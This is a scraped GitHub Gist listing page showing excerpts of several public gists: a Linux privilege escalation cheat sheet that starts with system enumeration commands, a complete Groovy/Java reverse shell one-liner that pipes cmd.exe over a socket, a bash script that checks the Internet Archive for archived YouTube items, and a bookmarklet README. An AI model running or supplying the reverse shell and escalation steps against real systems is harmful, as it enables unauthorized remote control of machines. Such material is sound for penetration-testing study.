Skip to content

Instantly share code, notes, and snippets.

View 111100001's full-sized avatar

Fadi Alzahrani 111100001

View GitHub Profile
@sckalath
sckalath / linux_privesc
Last active July 25, 2025 07:12
Linux Privilege Escalation Techniques
// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@nsapa
nsapa / check_ia_youtube.sh
Last active June 2, 2023 22:35
Checking if tubeup have done the work
#!/bin/bash
# Check if we have a copy of an youtube item on IA
set -e
function die {
echo $1
exit 2
}
@exurd
exurd / YouTube to Internet Archive.md
Last active February 2, 2025 02:24
Find YouTube videos via the Internet Archive (Bookmarklet)

YouTube to Internet Archive

This bookmarklet allows you to "redirect" from videos that got private or deleted (or still alive) and was preserved by tubeup.

The reason this script exists is because videos archived with that program will become hidden to everyone except the archiver, meaning no one can find the videos. However, you can still access them by using the same URL with the video id, which is what this script does (although not automatically).

It does this by opening a prompt where you can paste the youtube URL you want to find. In the no copy version it still opens in a prompt, but the URL on the current tab is used.

Installation